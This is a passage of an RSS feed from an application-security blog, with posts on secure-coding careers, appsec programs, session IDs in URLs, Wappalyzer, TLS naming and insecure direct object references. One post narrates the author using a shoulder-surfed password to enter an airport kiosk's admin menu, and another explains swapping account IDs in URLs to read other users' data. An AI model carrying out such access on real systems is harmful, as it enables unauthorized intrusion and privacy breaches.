interactive secure code training. One such offering is &lt;a href=&quot;https://www.veracode.com/security-labs/courses&quot;&gt;Veracode Security Labs&lt;/a&gt;, which allows you to try exploits on real apps, fix the code to squash the vulnerabilities, and earn certificates to showcase your secure coding knowledge. If your employer doesn&#39;t have Security Labs, you can still use the &lt;a href=&quot;https://securitylabs-ce.veracode.com/signup&quot;&gt;community edition&lt;/a&gt; or register for a &lt;a href=&quot;https://www.veracode.com/blog/secure-development/announcing-veracode-security-labs-free-trial&quot;&gt;free trial&lt;/a&gt; of the full version. &lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;Check if your employer has a &lt;a href=&quot;https://www.veracode.com/blog/managing-appsec/security-champion-developer-midst-may-just-solve-secure-code-conundrum&quot;&gt;Security Champions program&lt;/a&gt; that you can join. As a security champion, you&#39;ll be a voice for security within the development organization and your security skills will expand while being more visible at the same time.&lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;Here are some other resources to consider: &lt;/p&gt;
&lt;ul style=&quot;text-align: left;&quot;&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-juice-shop/&quot;&gt;OWASP Juice Shop&lt;/a&gt; - an insecure but realistic web app with hacking challenges&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://safecode.org/uncategorized/fundamental-practices-secure-software-development/&quot;&gt;SAFECode&#39;s Fundamental Practices for Secure Software Development&lt;/a&gt; - documents a foundational set of secure development practices&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://owasp.org/www-project-proactive-controls/&quot;&gt;OWASP&#39;s Top 10 Proactive Controls&lt;/a&gt; - explains practical techniques and principles to build secure applications that defend against attacks&lt;/li&gt;
&lt;/ul&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;Good luck in your secure coding adventures and a more lucrative career! &lt;/p&gt;&lt;p&gt;

&lt;span style=&quot;font-size: x-small;&quot;&gt;(This post first published as a &lt;a href=&quot;https://www.linkedin.com/pulse/do-you-code-security-chops-boost-your-career-dave-ferguson/&quot;&gt;LinkedIn article&lt;/a&gt;)&lt;/span&gt;&lt;/p&gt;</description><link>http://appsecnotes.blogspot.com/2022/05/do-you-code-security-chops-will-boost.html</link><author>noreply@blogger.com (Dave Ferguson)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5lTO4oFwi82Y9amqkkTZ-WHZ6TlSMYoxLBYdbg66P8ZdvUh7zJstowtGL-haS_RIuYnxEwYbN52aAoACsJLbfRE8EH6UUG6tmXvLoltlzaqj-c8K66eOlAxa2RPlqNstlyQCV2qpyd-CiLRWaohiOkEDwMfYcsxkXCqw9Lmix5sgR4gWEYkFAWlXIlA/s72-c/LI-article-2(labels).jpg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-4663546532320909627</guid><pubDate>Wed, 13 Apr 2022 20:47:00 +0000</pubDate><atom:updated>2023-01-07T13:39:10.786-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">DevSecOps</category><category domain="http://www.blogger.com/atom/ns#">SDLC</category><title>Burgers and Application Security</title><description>&lt;div style=&quot;text-align: left;&quot;&gt;&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVrqS3bwXlYFK4vpavnZrAS28WYTaH9BQKR4VPhYShSnTFVXXr-QVdC2kb-AzZBJ7hdPS7nvSl5tEVaJKMYtRx-zwKP65eYixXQJVDuqGaHRVzb0PBTmxuhx8hfnuS80YRJj3VNtPpk3lDF1K-eMY8IqtReNBvakIDgAQ1wabVS3Dvqr0Sbksv5R5zdw/s998/LI-article-1.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;511&quot; data-original-width=&quot;998&quot; height=&quot;328&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVrqS3bwXlYFK4vpavnZrAS28WYTaH9BQKR4VPhYShSnTFVXXr-QVdC2kb-AzZBJ7hdPS7nvSl5tEVaJKMYtRx-zwKP65eYixXQJVDuqGaHRVzb0PBTmxuhx8hfnuS80YRJj3VNtPpk3lDF1K-eMY8IqtReNBvakIDgAQ1wabVS3Dvqr0Sbksv5R5zdw/w640-h328/LI-article-1.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;/p&gt;&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;I love burgers. I also live in the
Dallas-Fort Worth area, so was intrigued by an article in D Magazine a few
years ago that caught my eye called &lt;a href=&quot;https://www.dmagazine.com/publications/d-magazine/2015/september/why-dallas-is-the-burger-capital-of-the-world/&quot;&gt;Why
Dallas is the Burger Capital of the World&lt;/a&gt;. What? How did I not know this?!?
&lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;And so began &lt;span style=&quot;font-size: medium;&quot;&gt;&lt;b&gt;The Great DFW Burger
Quest&lt;/b&gt;&lt;/span&gt;!&lt;/p&gt;&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;It&#39;s my tour of burger joints in the DFW Metroplex. It&#39;s a multi-year project. The pandemic set me back a little, but I&#39;m up to 75
burger joints visited so far. Many more are on my &quot;to do&quot; list. I
track everything on Yelp.&lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;What does this have to do with application
security? Well, there are some parallels I&#39;d like to point out. &lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;Building an application security program is
a multi-year commitment. When an organization first dips their toe into
application security, they might start with something easy like dynamic
scanning of their Internet-facing web apps. It&#39;s a fine place to start, but a
lot more is needed to understand your application security posture more
broadly. Static analysis, software composition analysis (SCA), and manual
assessments all have a place when it comes to identifying application security
flaws. Implementing multiple testing techniques and automating them early in
the software development process across an entire enterprise, with minimal
disruption, takes both time and commitment. &lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;At first, I assumed only burger joints
would be part of The Great DFW Burger Quest. But it turns out that some of the
highest rated burgers in DFW are served at local bars or family restaurants. I
had to expand my quest to include these. Likewise, to &lt;a href=&quot;https://www.veracode.com/sites/default/files/pdf/resources/guides/veracode-maturing-application-security-program.pdf&quot;&gt;mature
your appsec program&lt;/a&gt; it would need to expand to cover not just
Internet-facing web apps, but also APIs, internal applications, mobile apps,
and other software that could bring risk. Secure code training for developers
(or what I call &lt;a href=&quot;https://www.brighttalk.com/webcast/12807/513648&quot;&gt;The
Ultimate in Shift Left&lt;/a&gt;) should be part of a mature appsec program as well.
Instead of Yelp, you could track the growth of your program using a model such
as the excellent &lt;a href=&quot;https://owasp.org/www-project-samm/&quot;&gt;Software
Assurance Maturity Model&lt;/a&gt; from OWASP. &lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;My burger quest often needs to be adjusted
based on the current environment in the area. Many restaurants closed
permanently due to the pandemic, including some I had planned to visit.
However, I&#39;m seeing new burger joints popping up rapidly this year. An
application security program will need adjustment too. For example, recently &lt;a href=&quot;https://www.veracode.com/blog/security-news/urgent-analysis-and-remediation-guidance-log4j-zero-day-rce-cve-2021-44228&quot;&gt;Log4Shell&lt;/a&gt;,
&lt;a href=&quot;https://www.veracode.com/blog/security-news/spring-framework-remote-code-execution-cve-2022-22965&quot;&gt;Spring4Shell&lt;/a&gt;,
and the &lt;a href=&quot;https://www.veracode.com/blog/security-news/new-cybersecurity-executive-order-what-you-need-know&quot;&gt;U.S.
Cybersecurity Executive Order&lt;/a&gt; have highlighted a greater need for SCA,
which helps uncover risks due to 3rd-party components. Organizational changes,
such as a new CISO coming in, might also force adjustments to your program.&lt;/p&gt;

&lt;p class=&quot;reader-text-blockparagraph&quot;&gt;My initial burger outings were a solo activity, but now I usually have some friends join me. In the same way, a successful application security program is not a solo activity. It requires not only testing technology but also people and processes. In particular, Security and Development should be working together to build security into DevOps processes.&lt;/p&gt;

&lt;span style=&quot;font-size: x-small;&quot;&gt;(This post first published as a &lt;a href=&quot;https://www.linkedin.com/pulse/burgers-application-security-dave-ferguson&quot;&gt;LinkedIn article&lt;/a&gt;)&lt;/span&gt;
&lt;/div&gt;
</description><link>http://appsecnotes.blogspot.com/2022/04/burgers-and-application-security.html</link><author>noreply@blogger.com (Dave Ferguson)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiVrqS3bwXlYFK4vpavnZrAS28WYTaH9BQKR4VPhYShSnTFVXXr-QVdC2kb-AzZBJ7hdPS7nvSl5tEVaJKMYtRx-zwKP65eYixXQJVDuqGaHRVzb0PBTmxuhx8hfnuS80YRJj3VNtPpk3lDF1K-eMY8IqtReNBvakIDgAQ1wabVS3Dvqr0Sbksv5R5zdw/s72-w640-h328-c/LI-article-1.jpeg" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-8122988971664041305</guid><pubDate>Sat, 07 Oct 2017 20:05:00 +0000</pubDate><atom:updated>2017-10-17T19:18:23.060-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Hacking</category><category domain="http://www.blogger.com/atom/ns#">Misc</category><title>Airport Kiosk Admin Access </title><description>Don&#39;t underestimate the threat of &lt;a href=&quot;javascript:void(0)&quot;&gt;shoulder surfing&lt;/a&gt;, especially when you&#39;re an airline employee accessing the administrative panel on kiosks at the airport.&lt;br /&gt;
&lt;br /&gt;
This thought ran through my mind recently when I witnessed an employee - in a very busy ticketing area - casually double-tapping a certain spot on a kiosk&#39;s touchscreen.&amp;nbsp; A keyboard opened asking for input of a password.&amp;nbsp; Curiosity led to me continue watching as he proceeded to enter the password and access the local administrative menu.&amp;nbsp; I quickly jotted a note of what I saw  for possible future testing.&lt;br /&gt;
&lt;br /&gt;
One night a few weeks later, I was at the airport and found nobody in the ticketing area.&amp;nbsp; A good time for my test...&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;b&gt;***** ACCESS GRANTED *****&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Years ago I developed kiosk applications for colleges &amp;amp; universities as well as for Sprint retail stores. It&#39;s common practice to code in a &quot;hot spot&quot; somewhere on the screen to bring up a keyboard allowing for input of a password to access the admin menu (more examples &lt;a href=&quot;https://kalypto.org/research/hacking-chilis-ziosks-not-just-chilis/&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;https://www.youtube.com/watch?v=dxWl8bMCThs&quot;&gt;here&lt;/a&gt;).&amp;nbsp; It might require a double-tap or triple-tap in a single spot, or a combination of taps in different spots.&amp;nbsp; The admin password itself is often something simple, such as the name of the business, the street number of the building, or the store number (if a retail store).&lt;br /&gt;
&lt;br /&gt;
Moral of the story for kiosk admins: Be aware of shoulder surfing!&lt;br /&gt;
&lt;br /&gt;</description><link>http://appsecnotes.blogspot.com/2017/10/airport-kiosk-admin-access.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-8660128551164660036</guid><pubDate>Thu, 28 Sep 2017 05:05:00 +0000</pubDate><atom:updated>2017-10-02T21:57:53.611-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Session Management</category><title>CWE: Disrespectful to Session ID in URL</title><description>Mitre&#39;s &lt;a href=&quot;https://cwe.mitre.org/about/index.html&quot;&gt;Common Weakness Enumeration&lt;/a&gt; (CWE) is the most comprehensive and granular taxonomy for web application security vulnerabilities and weaknesses.&amp;nbsp; So why, may I ask, is there no CWE ID for &lt;i&gt;Session ID Exposed in URL&lt;/i&gt;?&lt;br /&gt;
&lt;br /&gt;
Am I missing something?&lt;br /&gt;
&lt;br /&gt;
Sure, we have &lt;a href=&quot;https://cwe.mitre.org/data/definitions/384.html&quot;&gt;CWE-384&lt;/a&gt; (Session Fixation), but that&#39;s not the issue.&amp;nbsp; Session fixation in my experience is much more rare (and dangerous) compared to a session ID exposed in a URL.&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://www.rapid7.com/db/vulnerabilities/urlrewriting-ur2&quot;&gt;Some&lt;/a&gt; might suggest &lt;a href=&quot;https://cwe.mitre.org/data/definitions/287.html&quot;&gt;CWE-287&lt;/a&gt; (Improper Authentication) is the best fit.&amp;nbsp; That&#39;s a tough sell.&amp;nbsp; I don&#39;t buy it.&lt;br /&gt;
&lt;br /&gt;
The closest one in my opinion must be &lt;a href=&quot;https://cwe.mitre.org/data/definitions/598.html&quot;&gt;CWE-598&lt;/a&gt; (Information Exposure Through Query Strings in GET Request).&amp;nbsp; It&#39;s not a perfect fit, but the consequences section does refer to &quot;impersonating a legitimate user&quot;.&amp;nbsp; That&#39;s a true risk for sure.&lt;br /&gt;
&lt;br /&gt;
At this stage of the game, we probably won&#39;t see a CWE ID specific to &lt;i&gt;Session ID Exposed in URL&lt;/i&gt;.&amp;nbsp; It seems like a no-brainer, but oh well.&amp;nbsp; </description><link>http://appsecnotes.blogspot.com/2017/09/cwe-disrespectful-of-session-id-in-url.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-7240552230160293984</guid><pubDate>Wed, 30 Aug 2017 05:00:00 +0000</pubDate><atom:updated>2017-10-13T22:49:28.362-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Misc</category><category domain="http://www.blogger.com/atom/ns#">Tools</category><title>What the Tech behind this Website? Wappalyzer Knows</title><description>Trying to figure out what technologies/frameworks a web app is built upon is an important part of application security, especially pen testing.&amp;nbsp; It&#39;s something that should be done in the reconnaissance phase of an assessment.&amp;nbsp; Knowing what an application is using under the covers is a definite advantage in your quest to pwn it.&lt;br /&gt;
&lt;br /&gt;
Trouble is, it&#39;s not so easy anymore.&amp;nbsp; There is a vast array of technologies that make up today&#39;s web application development landscape.&amp;nbsp; Not only are there are different types of web servers, application servers, and&amp;nbsp; programming languages, you also have to consider different development platforms (Java vs. .NET vs. something else), client-side JavaScript frameworks (Angular vs. React vs. something else), authentication protocols (OAuth vs. Kerberos vs. one-off vs. API token vs. something else), CMSs, CDNs, advertising networks, analytics engines, and so on.&amp;nbsp; Is your head spinning yet?&lt;br /&gt;
&lt;br /&gt;
For quick feedback on what technologies a web application is using, I recommend the &lt;a href=&quot;https://wappalyzer.com/download&quot;&gt;Wappalyzer browser extension&lt;/a&gt;.&amp;nbsp; It is available for both Chrome and Firefox.&amp;nbsp; Once installed, you will see the following icon in your browser&#39;s toolbar:&amp;nbsp; &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCrkmXk_cKzDdblaUFoa7B6GdwIRcibed_CepKFCVQgQ3OjAqUwE1xbfD1qhspR8A-dIEzlFoJ2U5ee48m-jjh6CsU3Ju_IkEL_125WjFqyEPTHmWa7av4Cb5VTvfV-ZyF8gn3YOX8QcRU/s1600/wappalyzer-icon.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;22&quot; data-original-width=&quot;29&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCrkmXk_cKzDdblaUFoa7B6GdwIRcibed_CepKFCVQgQ3OjAqUwE1xbfD1qhspR8A-dIEzlFoJ2U5ee48m-jjh6CsU3Ju_IkEL_125WjFqyEPTHmWa7av4Cb5VTvfV-ZyF8gn3YOX8QcRU/s1600/wappalyzer-icon.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span id=&quot;goog_1754316121&quot;&gt;&lt;/span&gt;

Click this icon and you&#39;ll see a categorized listing of different types of technologies used by the website currently loaded in your browser.&amp;nbsp; Here is an example: &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzIkqk6AIgBDzPtpWSFVnSHmk_Lk8xHPJXei8FbESgpLKDmGYUDZDidyuggoy6wHLU-PMglp3MmHHkbPlDPoNwiDQbYGBk0mfJ6QeLN8EsMwKxG2E5Y3VABMP2j9SE6oz0JqHNmPLwvDcI/s1600/wappalyzer-example.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;279&quot; data-original-width=&quot;408&quot; height=&quot;218&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzIkqk6AIgBDzPtpWSFVnSHmk_Lk8xHPJXei8FbESgpLKDmGYUDZDidyuggoy6wHLU-PMglp3MmHHkbPlDPoNwiDQbYGBk0mfJ6QeLN8EsMwKxG2E5Y3VABMP2j9SE6oz0JqHNmPLwvDcI/s320/wappalyzer-example.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
I have personally found this extension to be very useful... for pen testing or even when you see an interesting-looking site.&amp;nbsp; Find out what it&#39;s built on!&amp;nbsp; This extension thankfully works with Firefox 55 and later, which is something that can&#39;t be said of many popular Firefox extensions nowadays (this is thanks to Mozilla&#39;s &lt;a href=&quot;https://blog.mozilla.org/addons/2017/02/16/the-road-to-firefox-57-compatibility-milestones/&quot;&gt;shift&lt;/a&gt; to use the cross-browser WebExtensions API.&lt;br /&gt;
&lt;br /&gt;
One last important note about Wappalyzer - you probably want to uncheck the option (shown below) where you send them &quot;anonymous&quot; reports for research.
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7nARXf085GZqxYy4ULsxY9pWBbsJMCBc2A3R0L_CvfVMKfh0Hai-31VSYb7vsQEXSNKXQ_ERJqFUbJsSnrhEA-tALZaVgM572PUUdJNuTCi25wUTk2XoHCL6XBuTsjCp90pjz8ny5Dqfg/s1600/wappalyzer-option.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;176&quot; data-original-width=&quot;607&quot; height=&quot;92&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg7nARXf085GZqxYy4ULsxY9pWBbsJMCBc2A3R0L_CvfVMKfh0Hai-31VSYb7vsQEXSNKXQ_ERJqFUbJsSnrhEA-tALZaVgM572PUUdJNuTCi25wUTk2XoHCL6XBuTsjCp90pjz8ny5Dqfg/s320/wappalyzer-option.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
</description><link>http://appsecnotes.blogspot.com/2017/08/what-tech-behind-this-website.html</link><author>noreply@blogger.com (Dave Ferguson)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiCrkmXk_cKzDdblaUFoa7B6GdwIRcibed_CepKFCVQgQ3OjAqUwE1xbfD1qhspR8A-dIEzlFoJ2U5ee48m-jjh6CsU3Ju_IkEL_125WjFqyEPTHmWa7av4Cb5VTvfV-ZyF8gn3YOX8QcRU/s72-c/wappalyzer-icon.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-1132366201977585545</guid><pubDate>Tue, 18 Jul 2017 03:52:00 +0000</pubDate><atom:updated>2017-10-13T22:49:59.523-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Misc</category><title>Quick (but telling) IE vs. Chrome Comparison</title><description>The following &quot;perfect timing&quot; slideshow on MSN is entertaining, so my first thought was that IE would be the best browser with which to view it.&amp;nbsp; It&#39;s *MS*N after all.&amp;nbsp; Firefox is my main browser, but I like to fire up alternatives from time to time to understand the experience (well, except for Edge which still sucks).&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;http://www.msn.com/en-us/lifestyle/smart-living/photos-taken-at-the-perfect-time/ss-BBEzdUL?li=BBnbcA0&amp;amp;ocid=UE01DHP&amp;amp;fullscreen=true#image=1&quot;&gt;http://www.msn.com/en-us/lifestyle/smart-living/photos-taken-at-the-perfect-time/ss-BBEzdUL?li=BBnbcA0&amp;amp;ocid=UE01DHP&amp;amp;fullscreen=true#image=1&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Boy was I wrong about IE here.&amp;nbsp; It was slow, flaky, and then starting giving me &quot;long-running script&quot; errors and offering to stop the script for me. Even after saying yes to stop the script, the whole browser eventually locked up on me. FAIL.&lt;br /&gt;
&lt;br /&gt;
Contrast that to Chrome, which was fast and worked flawlessly displaying the slideshow &lt;br /&gt;
&lt;br /&gt;
I didn&#39;t try Firefox, because I have &lt;a href=&quot;https://noscript.net/&quot;&gt;NoScript&lt;/a&gt; installed and just didn&#39;t want to deal with getting the slideshow to work.</description><link>http://appsecnotes.blogspot.com/2017/07/quick-but-telling-ie-vs-chrome.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-7203179311123133272</guid><pubDate>Wed, 08 Feb 2017 01:59:00 +0000</pubDate><atom:updated>2017-02-07T23:34:20.868-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Industry</category><title>Let&#39;s say &quot;TLS&quot; instead of &quot;SSL&quot;</title><description>A trend I noticed within information security circles is to use the term &quot;SSL&quot; even when we mean &quot;TLS&quot;.&amp;nbsp; TLS&amp;nbsp;is the newer and more secure replacement for SSL.&amp;nbsp; All versions of SSL, even the latest SSLv3 flavor, are considered to be insecure at this point.&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
It&#39;s habit to say &quot;SSL&quot;.&amp;nbsp; Our infosec&amp;nbsp;minds auto-translate it to &quot;TLS&quot;, but there are &lt;a href=&quot;https://blog.varonis.com/the-difference-between-ssl-and-tls/&quot;&gt;interesting, concrete reasons&lt;/a&gt; that the IETF chose the name TLS back in 1999.&amp;nbsp; In addition, words have meaning and many people
 who don&#39;t eat, drink, and sleep security aren&#39;t up to speed on the 
nuances of this stuff.&amp;nbsp;&amp;nbsp;This includes&amp;nbsp;millions of IT personnel&amp;nbsp;who are 
responsible for configuring servers in a secure manner.&amp;nbsp;&amp;nbsp;It also 
includes newbies who are entering the infosec field every day.&lt;br /&gt;
&lt;br /&gt;
Information security professionals can be arrogant.&amp;nbsp; If someone isn&#39;t as knowledgeable as them, then that person is called stupid. For example, application security experts tend to denigrate developers for writing insecure code.&amp;nbsp; That bothers me a lot.&lt;br /&gt;
&lt;br /&gt;
Here&#39;s another example:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEjDzNOBRk5ocl7n5TFhDi6KRnB7La5cHwqHYjwzdDmR7QkEz4bHR1T28g5CpZJCP64uC2Hv8g6BX2U9FfIJ0PVW-jRbmgMaWzYuzh8-JD2JwOBdPOrtmOoM3u1gGUUl3XcdEr0OQlbV5Q/s1600/2017-02-06_1132-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;46&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEjDzNOBRk5ocl7n5TFhDi6KRnB7La5cHwqHYjwzdDmR7QkEz4bHR1T28g5CpZJCP64uC2Hv8g6BX2U9FfIJ0PVW-jRbmgMaWzYuzh8-JD2JwOBdPOrtmOoM3u1gGUUl3XcdEr0OQlbV5Q/s400/2017-02-06_1132-2.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
So people who don&#39;t know about SSL vs. TLS are not clever.&amp;nbsp; Nice.&lt;br /&gt;
&lt;br /&gt;
Years ago I didn&#39;t know much about security.&amp;nbsp; I was a developer and appreciated the opportunity to learn from others.&amp;nbsp; So let us be technically accurate and use &quot;TLS&quot;, even if it turns out to be a losing battle in the end.</description><link>http://appsecnotes.blogspot.com/2017/02/lets-say-tls-instead-of-ssl.html</link><author>noreply@blogger.com (Dave Ferguson)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhEjDzNOBRk5ocl7n5TFhDi6KRnB7La5cHwqHYjwzdDmR7QkEz4bHR1T28g5CpZJCP64uC2Hv8g6BX2U9FfIJ0PVW-jRbmgMaWzYuzh8-JD2JwOBdPOrtmOoM3u1gGUUl3XcdEr0OQlbV5Q/s72-c/2017-02-06_1132-2.png" height="72" width="72"/></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-6162226367033325549</guid><pubDate>Fri, 27 Jan 2017 06:05:00 +0000</pubDate><atom:updated>2017-01-27T00:06:40.129-06:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Hacking</category><title>Webinar - Intro to Security Testing</title><description>I haven&#39;t done much blogging for a while.&amp;nbsp; I will be doing more posts this year.&amp;nbsp; At least that&#39;s one of my new year&#39;s resolutions!&amp;nbsp; Some of my posts will be original content residing here, but others will be links to articles or posts I&#39;ve done elsewhere.&lt;br /&gt;
&lt;br /&gt;
I&#39;d like to start 2017 by sharing a link to the webinar I did in 2015 that is aimed at anyone who wants to dip their toes into the world of web application penetration testing.&amp;nbsp; The webinar was for the benefit of the &lt;a href=&quot;https://www.utest.com/&quot;&gt;uTest Community&lt;/a&gt;, and you therefore need an account to view the webinar.&amp;nbsp; It&#39;s easy and free to sign up though.&lt;br /&gt;
&lt;br /&gt;
I&#39;m proud to say the uTest community has given my webinar a stellar rating of 4.86 stars out of 5!&amp;nbsp; If you are new to the field of manual appsec testing, I&#39;m sure you&#39;ll find it helpful.&amp;nbsp; Pro tip: install and learn &lt;a href=&quot;https://portswigger.net/burp/download.html&quot;&gt;Burp Suite&lt;/a&gt;!&lt;br /&gt;
&lt;br /&gt;
The webinar is here:&amp;nbsp; &lt;br /&gt;
&lt;a href=&quot;https://www.utest.com/courses/recorded-webinar-introduction-security-testing-dave-ferguson&quot;&gt;https://www.utest.com/courses/recorded-webinar-introduction-security-testing-dave-ferguson&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Enjoy.</description><link>http://appsecnotes.blogspot.com/2017/01/webinar-intro-to-security-testing.html</link><author>noreply@blogger.com (Dave Ferguson)</author></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2281490675396238353.post-8301800502037147809</guid><pubDate>Wed, 17 Jun 2015 01:46:00 +0000</pubDate><atom:updated>2015-06-16T20:46:24.756-05:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Misc</category><title>OWASP #4 Continues to Laugh at Automated Scanners</title><description>I was thinking back to 2006 when I was new to the world of Application Security.&amp;nbsp; Someone on our consulting team arranged a call with a vendor called Secure Software, Inc.&amp;nbsp; They were a company with a code scanning product called CodeAssure, but they were probably best known for a freeware tool called Rough Auditing Tool for Security (&quot;&lt;a href=&quot;https://code.google.com/p/rough-auditing-tool-for-security/&quot;&gt;RATS&lt;/a&gt;&quot;).&amp;nbsp; The company was bought by Fortify in 2007 and their products essentially died off.&amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
On the call I wanted to better understand how this magical CodeAssure product worked.&amp;nbsp; For example, how could it recognize &lt;a href=&quot;https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References&quot;&gt;Insecure Direct Object Reference&lt;/a&gt; in a web application?&amp;nbsp; (Actually, that term wasn&#39;t even coined yet.&amp;nbsp; Back then it was called &lt;a href=&quot;https://www.owasp.org/index.php/A2_2004_Broken_Access_Control&quot;&gt;Broken Access Control&lt;/a&gt;. Come to think of it, I like that name better.)&amp;nbsp; Anyway, I described some of the vulnerabilities I was seeing during my application pen testing where I could edit numerical parameters in the URL or the HTTP request body and gain access to another user&#39;s data.&lt;br /&gt;
&lt;br /&gt;
For a moment, there was dead silence on the call.&amp;nbsp; It was one of those times when nobody on their side knew how to answer and they were all hoping that one of their teammates would step up and offer an intelligent response.&amp;nbsp; In the end there was no intelligent response, only dancing around the question as sales people often do.&amp;nbsp; I was a little naive back then to ask the question in the first place.&amp;nbsp; I should have known their product could do absolutely nothing to identify this type of vulnerability.&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
SAST scanning tools can&#39;t be relied upon to identify insecure direct object references.&amp;nbsp; But hey, the same is true for dynamic scanners.&amp;nbsp; DAST tools aren&#39;t human and aren&#39;t smart enough to know that if you change acct_id=100011 in a URL to acct_id=100012 and you get back a valid response with another person&#39;s data that it&#39;s a big freaking problem.&amp;nbsp; The exploitability rating of this flaw is off the chart.&amp;nbsp; Almost anyone can perform the attack and it is still happening today.&amp;nbsp; Even big companies that pay attention to security like Citibank &lt;a href=&quot;http://www.techspot.com/news/44278-citigroup-breached-simply-by-changing-a-portion-of-the-url.html&quot;&gt;can succumb&lt;/a&gt;.&amp;nbsp;&lt;br /&gt;
&lt;br /&gt;
